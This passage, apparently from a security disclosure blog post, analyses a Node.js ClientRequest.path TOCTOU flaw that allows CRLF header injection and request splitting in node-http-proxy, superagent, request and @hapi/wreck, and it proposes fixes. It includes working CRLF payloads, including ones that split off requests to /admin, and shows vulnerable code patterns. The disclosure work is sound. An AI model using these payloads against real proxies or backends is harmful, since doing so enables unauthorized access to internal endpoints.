  <li>Closes the “mutate-after-construction → request-line injection” class of bugs.</li>
</ul>

<p><strong>Cons</strong></p>
<ul>
  <li>The failure is <em>deferred</em>: it triggers when the request is about to write headers, not at the moment of mutation.</li>
</ul>

<hr />

<h3 id="option-a-fail-fast-validate-at-the-path-setter">Option A (fail-fast): validate at the <code class="language-plaintext highlighter-rouge">path</code> setter</h3>

<p>This approach fails <strong>immediately</strong> when code tries to set an illegal path. To avoid a new TOCTOU, the setter must store the <strong>canonicalized</strong> string (not the original value).</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">Object</span><span class="p">.</span><span class="nx">defineProperty</span><span class="p">(</span><span class="nx">ClientRequest</span><span class="p">.</span><span class="nx">prototype</span><span class="p">,</span> <span class="dl">'</span><span class="s1">path</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
  <span class="kd">get</span><span class="p">()</span> <span class="p">{</span> <span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">_path</span><span class="p">;</span> <span class="p">},</span>
  <span class="kd">set</span><span class="p">(</span><span class="nx">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Canonicalize once</span>
    <span class="kd">const</span> <span class="nx">v</span> <span class="o">=</span> <span class="nb">String</span><span class="p">(</span><span class="nx">value</span><span class="p">);</span>

    <span class="c1">// Same validation used at construction time</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">INVALID_PATH_REGEX</span><span class="p">.</span><span class="nx">test</span><span class="p">(</span><span class="nx">v</span><span class="p">))</span> <span class="p">{</span>
      <span class="k">throw</span> <span class="k">new</span> <span class="nx">ERR_UNESCAPED_CHARACTERS</span><span class="p">(</span><span class="dl">'</span><span class="s1">Request path</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// (Optional) prevent changes after headers are rendered</span>
    <span class="c1">// if (this._header) throw new ERR_HTTP_HEADERS_SENT('render');</span>

    <span class="k">this</span><span class="p">.</span><span class="nx">_path</span> <span class="o">=</span> <span class="nx">v</span><span class="p">;</span> <span class="c1">// store the canonicalized string</span>
  <span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p><strong>Pros</strong></p>
<ul>
  <li>Fail-fast: stops dangerous mutations at their source (great for safety and debugging).</li>
  <li>Prevents non-string <code class="language-plaintext highlighter-rouge">path</code> values (with “creative” <code class="language-plaintext highlighter-rouge">toString()</code>) from living inside <code class="language-plaintext highlighter-rouge">ClientRequest</code>.</li>
</ul>

<p><strong>Cons</strong></p>
<ul>
  <li>Potential compatibility impact: turning <code class="language-plaintext highlighter-rouge">path</code> into a prototype accessor can affect edge cases (introspection, assumptions about “own” properties, etc.).</li>
  <li>Needs careful review against internal Node code paths that assign to <code class="language-plaintext highlighter-rouge">req.path</code>.</li>
</ul>

<hr />

<h3 id="practical-recommendation">Practical recommendation</h3>

<p>If the goal is an upstream-acceptable hardening:</p>

<ul>
  <li><strong>Option B</strong> is the most realistic minimal fix.</li>
  <li><strong>Option A + Option B</strong> is the strongest defense-in-depth: fail at mutation, and still guard at serialization.</li>
</ul>

<p>In all cases, the core rule is: <strong>canonicalize once, validate once, then use that frozen value for request-line rendering</strong>.</p>

<hr />

<h2 id="6-the-impact-spectrum-from-header-injection-to-request-splitting">6. The Impact Spectrum: From Header Injection to Request Splitting</h2>

<p>This is not a single attack. Depending on how CRLF characters are injected into <code class="language-plaintext highlighter-rouge">ClientRequest.path</code>, the impact ranges from header injection to complete request splitting. The <code class="language-plaintext highlighter-rouge">_implicitHeader()</code> method concatenates the path directly into the request line — so whatever bytes are in <code class="language-plaintext highlighter-rouge">.path</code>, they go on the wire verbatim.</p>

<p>Here’s the full spectrum:</p>

<h3 id="level-1-header-injection">Level 1: Header Injection</h3>

<p>Injecting a single <code class="language-plaintext highlighter-rouge">\r\n</code> after the HTTP version allows adding arbitrary headers to the outgoing request.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Mutated path:  /legit HTTP/1.1\r\nX-Injected: malicious-value\r\nX-Foo: bar

On the wire:
    GET /legit HTTP/1.1
    X-Injected: malicious-value      ← injected
    X-Foo: bar                        ← injected
    Host: backend.internal            ← original headers follow
    Connection: keep-alive
</code></pre></div></div>

<p><strong>Impact:</strong> Override security headers (<code class="language-plaintext highlighter-rouge">Authorization</code>, <code class="language-plaintext highlighter-rouge">X-Forwarded-For</code>, <code class="language-plaintext highlighter-rouge">Host</code>), bypass IP-based ACLs, impersonate internal services.</p>

<h3 id="level-2-body-injection">Level 2: Body Injection</h3>

<p>Injecting <code class="language-plaintext highlighter-rouge">\r\n</code> sequences to close the headers and begin a body allows injecting content into a request that wasn’t supposed to have a body.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Mutated path:  /legit HTTP/1.1\r\nContent-Length: 13\r\n\r\n{"admin":true}

On the wire:
    GET /legit HTTP/1.1
    Content-Length: 13                ← injected
                                      ← end of headers
    {"admin":true}                    ← injected body
    Host: backend.internal            ← orphaned, treated as next request start
</code></pre></div></div>

<p><strong>Impact:</strong> Transform GET requests into requests with bodies, inject JSON/form payloads, alter backend state.</p>

<h3 id="level-3-full-request-splitting">Level 3: Full Request Splitting</h3>

<p>Injecting a complete <code class="language-plaintext highlighter-rouge">\r\n\r\n</code> sequence (end of headers) followed by a new request line creates <strong>two completely separate HTTP requests</strong> from a single client request.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Mutated path:  /legit HTTP/1.1\r\nHost: x\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\n\r\n

On the wire — TWO distinct requests:

    ┌─── Request 1 (legitimate) ────────────────┐
    │ GET /legit HTTP/1.1                        │
    │ Host: x                                    │
    │                                            │
    └────────────────────────────────────────────┘
    ┌─── Request 2 (INJECTED) ──────────────────┐
    │ GET /admin HTTP/1.1                        │
    │ Host: x                                    │
    │                                            │
    └────────────────────────────────────────────┘
</code></pre></div></div>

<p><strong>Impact:</strong> The second request is entirely attacker-controlled — method, path, headers, body. It reaches the backend as a completely independent request. This enables access to internal endpoints, admin panels, or any path the proxy wouldn’t normally allow.</p>

<h3 id="quick-reference">Quick reference</h3>

<table>
  <thead>
    <tr>
      <th>Level</th>
      <th>Payload pattern</th>
      <th>What gets injected</th>
      <th>Impact</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Header Injection</strong></td>
      <td><code class="language-plaintext highlighter-rouge">/path HTTP/1.1\r\nHeader: value</code></td>
      <td>Arbitrary headers</td>
      <td>Auth bypass, SSRF, header overrides</td>
    </tr>
    <tr>
      <td><strong>Body Injection</strong></td>
      <td><code class="language-plaintext highlighter-rouge">/path HTTP/1.1\r\nContent-Length: N\r\n\r\nbody</code></td>
      <td>Headers + Body</td>
      <td>State mutation, privilege escalation</td>
    </tr>
    <tr>
      <td><strong>Request Splitting</strong></td>
      <td><code class="language-plaintext highlighter-rouge">/path HTTP/1.1\r\nHost: x\r\n\r\nGET /new</code></td>
      <td>Entire second request</td>
      <td>Full control of a second independent request</td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>Note:</strong> This is different from HTTP Request Smuggling (CL/TE desync). Smuggling produces one ambiguous request that is interpreted differently by frontend and backend. Request Splitting produces <strong>two distinct, well-formed requests</strong> on the wire from a single client request. The second request is not ambiguous — it’s a real, complete HTTP request.</p>
</blockquote>

<hr />

<h2 id="7-the-ecosystem-audit-7-vulnerable-libraries">7. The Ecosystem Audit: 7 Vulnerable Libraries</h2>

<p>The TOCTOU window is in Node.js core, but it only becomes exploitable when a library <strong>exposes the raw <code class="language-plaintext highlighter-rouge">ClientRequest</code> object</strong> to user code (or its own internal code) <strong>between construction and header flush</strong>.</p>

<p>I audited the most popular Node.js HTTP client and proxy libraries to determine which ones open this window. Here are the results:</p>

<h3 id="vulnerable-libraries-window-open">Vulnerable Libraries (Window OPEN)</h3>

<table>
  <thead>
    <tr>
      <th>#</th>
      <th>Library</th>
      <th style="text-align: center">Weekly Downloads</th>
      <th style="text-align: center">Stars</th>
      <th>Window Mechanism</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td><strong>node-http-proxy</strong></td>
      <td style="text-align: center">18.7M</td>
      <td style="text-align: center">14.1K</td>
      <td><code class="language-plaintext highlighter-rouge">proxyReq</code> event on socket callback, before <code class="language-plaintext highlighter-rouge">.pipe()</code></td>
    </tr>
    <tr>
      <td>2</td>
      <td><strong>http-proxy-middleware</strong></td>
      <td style="text-align: center">22.6M</td>
      <td style="text-align: center">11.1K</td>
      <td>Inherits #1 + <code class="language-plaintext highlighter-rouge">pathRewrite</code> zero sanitization + <code class="language-plaintext highlighter-rouge">fixRequestBody()</code> flush</td>
    </tr>
    <tr>
      <td>3</td>
      <td><strong>http-proxy-3</strong></td>
      <td style="text-align: center">via Vite</td>
      <td style="text-align: center">—</td>
      <td>Fork of #1, identical pattern</td>
    </tr>
    <tr>
      <td>4</td>
      <td><strong>httpxy</strong></td>
      <td style="text-align: center">via Nitro</td>
      <td style="text-align: center">—</td>
      <td>Fork of #1, identical pattern</td>
    </tr>
    <tr>
      <td>5</td>
      <td><strong>superagent</strong></td>
      <td style="text-align: center">15.9M</td>
      <td style="text-align: center">16K</td>
      <td><code class="language-plaintext highlighter-rouge">emit('request', this)</code> before <code class="language-plaintext highlighter-rouge">req.end()</code></td>
    </tr>
    <tr>
      <td>6</td>
      <td><strong>request</strong> (+forks)</td>
      <td style="text-align: center">24.4M</td>
      <td style="text-align: center">25.9K</td>
      <td><code class="language-plaintext highlighter-rouge">emit('request', req)</code> before deferred <code class="language-plaintext highlighter-rouge">.write()</code>/<code class="language-plaintext highlighter-rouge">.end()</code></td>
    </tr>
    <tr>
      <td>7</td>
      <td><strong>@hapi/wreck</strong></td>
      <td style="text-align: center">1.7M</td>
      <td style="text-align: center">—</td>
      <td><code class="language-plaintext highlighter-rouge">emit('request', req)</code> + <code class="language-plaintext highlighter-rouge">promise.req</code> on Stream payloads</td>
    </tr>
  </tbody>
</table>

<p><strong>Combined: ~160M+ weekly downloads with an open TOCTOU window.</strong></p>

<blockquote>
  <p><strong>Important Note:</strong> This is not an exhaustive list. Any library or custom code that uses <code class="language-plaintext highlighter-rouge">http.request()</code> and exposes the resulting <code class="language-plaintext highlighter-rouge">ClientRequest</code> before <code class="language-plaintext highlighter-rouge">_implicitHeader()</code> is called is potentially affected. The vulnerability surface extends to every custom implementation of HTTP proxying or client code that follows this pattern. There are certainly more libraries out there.</p>
</blockquote>

<hr />

<h2 id="8-library-by-library-deep-dive">8. Library-by-Library Deep Dive</h2>

<h3 id="81--node-http-proxy">8.1 — node-http-proxy</h3>

<blockquote>
  <p><strong>18.7M downloads/week · 14.1K stars</strong></p>

  <p>The foundation of Node.js proxying. Used by http-proxy-middleware, Vite (via http-proxy-3), Nuxt (via httpxy), webpack-dev-server, BrowserSync, and hundreds of other tools.</p>
</blockquote>

<p><strong>The Window:</strong></p>

<p><a href="https://github.com/http-party/node-http-proxy/blob/master/lib/http-proxy/passes/web-incoming.js#L126-L135">source</a> · <a href="https://github.com/http-party/node-http-proxy/blob/master/lib/http-proxy/passes/web-incoming.js#L170">pipe</a></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// lib/http-proxy/passes/web-incoming.js</span>

<span class="c1">// Line 126: ClientRequest created — path validated here</span>
<span class="kd">var</span> <span class="nx">proxyReq</span> <span class="o">=</span> <span class="p">(</span><span class="nx">options</span><span class="p">.</span><span class="nx">target</span><span class="p">.</span><span class="nx">protocol</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">https:</span><span class="dl">'</span> <span class="p">?</span> <span class="nx">https</span> <span class="p">:</span> <span class="nx">http</span><span class="p">).</span><span class="nx">request</span><span class="p">(</span>
    <span class="nx">common</span><span class="p">.</span><span class="nx">setupOutgoing</span><span class="p">(</span><span class="nx">options</span><span class="p">.</span><span class="nx">ssl</span> <span class="o">||</span> <span class="p">{},</span> <span class="nx">options</span><span class="p">,</span> <span class="nx">req</span><span class="p">)</span>
<span class="p">);</span>

<span class="c1">// Lines 131-135: proxyReq event fires on socket callback</span>
<span class="nx">proxyReq</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">socket</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span><span class="p">(</span><span class="nx">socket</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">server</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">proxyReq</span><span class="p">.</span><span class="nx">getHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">expect</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
        <span class="nx">server</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">'</span><span class="s1">proxyReq</span><span class="dl">'</span><span class="p">,</span> <span class="nx">proxyReq</span><span class="p">,</span> <span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">,</span> <span class="nx">options</span><span class="p">);</span>
        <span class="c1">//          ^^^^^^^^^ ClientRequest exposed — WINDOW OPEN</span>
    <span class="p">}</span>
<span class="p">});</span>

<span class="c1">// Line 170: .pipe() triggers _implicitHeader() — WINDOW CLOSES</span>
<span class="p">(</span><span class="nx">options</span><span class="p">.</span><span class="nx">buffer</span> <span class="o">||</span> <span class="nx">req</span><span class="p">).</span><span class="nx">pipe</span><span class="p">(</span><span class="nx">proxyReq</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>Vulnerable Pattern:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">httpProxy</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">http-proxy</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">proxy</span> <span class="o">=</span> <span class="nx">httpProxy</span><span class="p">.</span><span class="nx">createProxyServer</span><span class="p">({</span> <span class="na">target</span><span class="p">:</span> <span class="dl">'</span><span class="s1">http://backend:8080</span><span class="dl">'</span> <span class="p">});</span>

<span class="nx">proxy</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">proxyReq</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">proxyReq</span><span class="p">,</span> <span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="c1">// ANY mutation of proxyReq.path here bypasses CRLF validation</span>
    <span class="nx">proxyReq</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">url</span><span class="p">;</span>                              <span class="c1">// raw passthrough</span>
    <span class="nx">proxyReq</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="nx">proxyReq</span><span class="p">.</span><span class="nx">path</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="dl">'</span><span class="s1">/prefix</span><span class="dl">'</span><span class="p">,</span> <span class="dl">''</span><span class="p">);</span> <span class="c1">// prefix strip</span>
    <span class="nx">proxyReq</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/api</span><span class="dl">'</span> <span class="o">+</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">target</span><span class="p">;</span>            <span class="c1">// concatenation</span>
<span class="p">});</span>
</code></pre></div></div>

<p>The same pattern applies identically to <strong>http-proxy-3</strong> (used by Vite, 78.4K stars) and <strong>httpxy</strong> (used by Nitro/Nuxt, 57K stars). They are forks with the same architecture.</p>

<hr />

<h3 id="82--http-proxy-middleware">8.2 — http-proxy-middleware</h3>

<blockquote>
  <p><strong>22.6M downloads/week · 11.1K stars</strong></p>

  <p>The most popular Express/Connect proxy middleware. Built on top of node-http-proxy. Used by Create React App, Angular CLI, webpack-dev-server, and countless production applications.</p>
</blockquote>

<p>http-proxy-middleware is built on top of node-http-proxy and inherits the same TOCTOU window via the <code class="language-plaintext highlighter-rouge">on.proxyReq</code> handler. The vulnerable pattern is identical:</p>

<p><strong>The Window (inherited from node-http-proxy):</strong></p>

<p>Any code inside <code class="language-plaintext highlighter-rouge">on.proxyReq</code> that assigns to <code class="language-plaintext highlighter-rouge">proxyReq.path</code> bypasses CRLF validation, exactly as in node-http-proxy. http-proxy-middleware simply wraps the configuration:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">createProxyMiddleware</span><span class="p">({</span>
    <span class="na">target</span><span class="p">:</span> <span class="dl">'</span><span class="s1">http://backend:8080</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">on</span><span class="p">:</span> <span class="p">{</span>
        <span class="na">proxyReq</span><span class="p">:</span> <span class="p">(</span><span class="nx">proxyReq</span><span class="p">,</span> <span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
            <span class="nx">proxyReq</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="nx">userControlledValue</span><span class="p">;</span>  <span class="c1">// ← TOCTOU: same window as node-http-proxy</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">});</span>
</code></pre></div></div>

<p><strong>Note on <code class="language-plaintext highlighter-rouge">fixRequestBody()</code>:</strong></p>

<p><a href="https://github.com/chimurai/http-proxy-middleware/blob/master/src/handlers/fix-request-body.ts#L30-L32">source</a></p>

<div class="language-typescript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/handlers/fix-request-body.ts, lines 30-32</span>
<span class="kd">const</span> <span class="nx">writeBody</span> <span class="o">=</span> <span class="p">(</span><span class="nx">bodyData</span><span class="p">:</span> <span class="kr">string</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">proxyReq</span><span class="p">.</span><span class="nx">setHeader</span><span class="p">(</span><span class="dl">'</span><span class="s1">Content-Length</span><span class="dl">'</span><span class="p">,</span> <span class="nx">Buffer</span><span class="p">.</span><span class="nx">byteLength</span><span class="p">(</span><span class="nx">bodyData</span><span class="p">));</span>
    <span class="nx">proxyReq</span><span class="p">.</span><span class="nx">write</span><span class="p">(</span><span class="nx">bodyData</span><span class="p">);</span>  <span class="c1">// ← calls _implicitHeader() IMMEDIATELY</span>
<span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">fixRequestBody()</code> does not modify <code class="language-plaintext highlighter-rouge">proxyReq.path</code> — it only writes the body. However, the <code class="language-plaintext highlighter-rouge">.write()</code> call triggers <code class="language-plaintext highlighter-rouge">_implicitHeader()</code>, which flushes whatever is currently in <code class="language-plaintext highlighter-rouge">proxyReq.path</code> to the wire. If a path mutation happens <em>before</em> <code class="language-plaintext highlighter-rouge">fixRequestBody()</code> in the same handler, the flush is deterministic rather than race-dependent.</p>

<hr />

<h3 id="83--superagent">8.3 — superagent</h3>

<blockquote>
  <p><strong>15.9M downloads/week · 16K stars</strong></p>

  <p>Popular HTTP client library with a fluent API. Used for both browser and Node.js.</p>
</blockquote>

<p><strong>The Window:</strong></p>

<p><a href="https://github.com/ladjs/superagent/blob/master/src/node/index.js#L788">source</a> · <a href="https://github.com/ladjs/superagent/blob/master/src/node/index.js#L1220">emit</a> · <a href="https://github.com/ladjs/superagent/blob/master/src/node/index.js#L1291">end</a></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// src/node/index.js</span>

<span class="c1">// Line 788:  ClientRequest created — path validated</span>
<span class="k">this</span><span class="p">.</span><span class="nx">req</span> <span class="o">=</span> <span class="nx">module_</span><span class="p">.</span><span class="nx">request</span><span class="p">(</span><span class="nx">options</span><span class="p">);</span>

<span class="c1">// Line 1220: 'request' event emitted — WINDOW OPEN</span>
<span class="k">this</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">,</span> <span class="k">this</span><span class="p">);</span>
<span class="c1">// this.req is accessible via the emitted 'this' object</span>

<span class="c1">// Line 1291: req.end() called — _implicitHeader() — WINDOW CLOSES</span>
<span class="nx">req</span><span class="p">.</span><span class="nx">end</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</code></pre></div></div>

<p><strong>Vulnerable Pattern:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">superagent</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">superagent</span><span class="dl">'</span><span class="p">);</span>

<span class="nx">superagent</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://target.com/safe</span><span class="dl">'</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">sa</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="c1">// sa.req is the raw ClientRequest</span>
        <span class="c1">// _implicitHeader() has NOT been called yet</span>
        <span class="nx">sa</span><span class="p">.</span><span class="nx">req</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/safe HTTP/1.1</span><span class="se">\r\n</span><span class="s1">Host: x</span><span class="se">\r\n\r\n</span><span class="s1">GET /admin</span><span class="dl">'</span><span class="p">;</span>
    <span class="p">})</span>
    <span class="p">.</span><span class="nx">end</span><span class="p">();</span>
</code></pre></div></div>

<p>While this pattern is less common than proxy path mutations (superagent is typically used as a client, not a proxy), the architectural window is present and any code using the <code class="language-plaintext highlighter-rouge">request</code> event to modify the underlying <code class="language-plaintext highlighter-rouge">ClientRequest</code> would be vulnerable.</p>

<hr />

<h3 id="84--request--cypressrequest-postman-request">8.4 — request (+ @cypress/request, postman-request)</h3>

<blockquote>
  <p><strong>24.4M combined downloads/week · 25.9K stars</strong></p>

  <p>Deprecated since 2020 but still massively used. Its forks (@cypress/request, postman-request) are actively maintained.</p>
</blockquote>

<p><strong>The Window:</strong></p>

<p><a href="https://github.com/request/request/blob/master/request.js#L751">source</a> · <a href="https://github.com/request/request/blob/master/request.js#L861">emit</a></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// request.js</span>

<span class="c1">// Line 751: ClientRequest created — path validated</span>
<span class="nb">self</span><span class="p">.</span><span class="nx">req</span> <span class="o">=</span> <span class="nb">self</span><span class="p">.</span><span class="nx">httpModule</span><span class="p">.</span><span class="nx">request</span><span class="p">(</span><span class="nx">reqOptions</span><span class="p">);</span>

<span class="c1">// Line 861: 'request' event emitted — WINDOW OPEN</span>
<span class="nb">self</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">,</span> <span class="nb">self</span><span class="p">.</span><span class="nx">req</span><span class="p">);</span>

<span class="c1">// ... start() returns ...</span>

<span class="c1">// Deferred via setImmediate/nextTick:</span>
<span class="c1">// self.write() / self.end()   ← _implicitHeader() — WINDOW CLOSES</span>
</code></pre></div></div>

<p>The key insight here is the <strong>deferred execution</strong>: <code class="language-plaintext highlighter-rouge">.write()</code> and <code class="language-plaintext highlighter-rouge">.end()</code> are scheduled via <code class="language-plaintext highlighter-rouge">setImmediate</code>/<code class="language-plaintext highlighter-rouge">nextTick</code>, so they run <em>after</em> <code class="language-plaintext highlighter-rouge">start()</code> returns. The <code class="language-plaintext highlighter-rouge">'request'</code> event fires synchronously inside <code class="language-plaintext highlighter-rouge">start()</code>, giving handler code full access to the <code class="language-plaintext highlighter-rouge">ClientRequest</code> before any data is sent.</p>

<p><strong>Vulnerable Pattern:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">request</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">);</span>  <span class="c1">// or @cypress/request, postman-request</span>

<span class="nx">request</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://target.com/safe</span><span class="dl">'</span><span class="p">)</span>
    <span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">clientReq</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="c1">// clientReq is the raw ClientRequest</span>
        <span class="c1">// .write()/.end() are DEFERRED — haven't run yet</span>
        <span class="nx">clientReq</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/safe HTTP/1.1</span><span class="se">\r\n</span><span class="s1">Host: x</span><span class="se">\r\n\r\n</span><span class="s1">GET /admin</span><span class="dl">'</span><span class="p">;</span>
    <span class="p">});</span>
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>Fork</th>
      <th style="text-align: center">Weekly Downloads</th>
      <th>Status</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>request/request</strong></td>
      <td style="text-align: center">14.7M</td>
      <td>Deprecated, same TOCTOU window</td>
    </tr>
    <tr>
      <td><strong>@cypress/request</strong></td>
      <td style="text-align: center">7.5M</td>
      <td>Active fork, same codebase</td>
    </tr>
    <tr>
      <td><strong>postman-request</strong></td>
      <td style="text-align: center">2.2M</td>
      <td>Active fork, same codebase</td>
    </tr>
  </tbody>
</table>

<hr />

<h3 id="85--hapiwreck">8.5 — @hapi/wreck</h3>

<blockquote>
  <p><strong>1.7M downloads/week</strong></p>

  <p>The core HTTP client for the Hapi ecosystem. Used in enterprise applications at Walmart, Yahoo, and Mozilla.</p>
</blockquote>

<p><strong>Two distinct vectors:</strong></p>

<p><strong>Vector 1 — <code class="language-plaintext highlighter-rouge">'request'</code> event:</strong></p>

<p><a href="https://github.com/hapijs/wreck/blob/master/lib/index.js#L186-L188">source</a></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// lib/index.js</span>

<span class="c1">// Line 186: ClientRequest created — path validated</span>
<span class="kd">const</span> <span class="nx">req</span> <span class="o">=</span> <span class="nx">client</span><span class="p">.</span><span class="nx">request</span><span class="p">(</span><span class="nx">uri</span><span class="p">);</span>

<span class="c1">// Line 188: 'request' event emitted — WINDOW OPEN</span>
<span class="k">this</span><span class="p">.</span><span class="nx">_emit</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">,</span> <span class="nx">req</span><span class="p">);</span>

<span class="c1">// Later: req.write(payload) / req.end()  — WINDOW CLOSES</span>
</code></pre></div></div>

<p><strong>Vector 2 — Stream payload (deferred pipe):</strong></p>

<p><a href="https://github.com/hapijs/wreck/blob/master/lib/index.js#L316-L331">source</a></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// lib/index.js, lines 316-331</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">options</span><span class="p">.</span><span class="nx">payload</span> <span class="k">instanceof</span> <span class="nx">Stream</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">internals</span><span class="p">.</span><span class="nx">deferPipeUntilSocketConnects</span><span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">stream</span><span class="p">);</span>
    <span class="k">return</span> <span class="nx">req</span><span class="p">;</span>   <span class="c1">// ← returns WITHOUT calling .end()!</span>
<span class="p">}</span>

<span class="c1">// The returned req is stored in:</span>
<span class="nx">promise</span><span class="p">.</span><span class="nx">req</span> <span class="o">=</span> <span class="nx">req</span><span class="p">;</span>   <span class="c1">// ← accessible before _implicitHeader()</span>
</code></pre></div></div>

<p>When the payload is a <code class="language-plaintext highlighter-rouge">Stream</code>, wreck defers the pipe until the socket connects. This means <code class="language-plaintext highlighter-rouge">promise.req</code> is exposed <em>before</em> <code class="language-plaintext highlighter-rouge">_implicitHeader()</code> runs, giving calling code time to mutate <code class="language-plaintext highlighter-rouge">.path</code>.</p>

<p><strong>Vulnerable Patterns:</strong></p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">Wreck</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">@hapi/wreck</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Vector 1: via events</span>
<span class="kd">const</span> <span class="nx">client</span> <span class="o">=</span> <span class="nx">Wreck</span><span class="p">.</span><span class="nx">defaults</span><span class="p">({</span> <span class="na">events</span><span class="p">:</span> <span class="kc">true</span> <span class="p">});</span>
<span class="nx">client</span><span class="p">.</span><span class="nx">events</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">request</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="nx">req</span><span class="p">.</span><span class="nx">path</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">/admin</span><span class="se">\r\n</span><span class="s1">Host: evil</span><span class="se">\r\n\r\n</span><span class="s1">GET /secret</span><span class="dl">'</span><span class="p">;</span>
<span class="p">});</span>
<span class="k">await</span> <span class="nx">client</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://target.com/safe</span><span class="dl">'</span><span class="p">);</span>

<span class="c1">// Vector 2: via Stream payload</span>
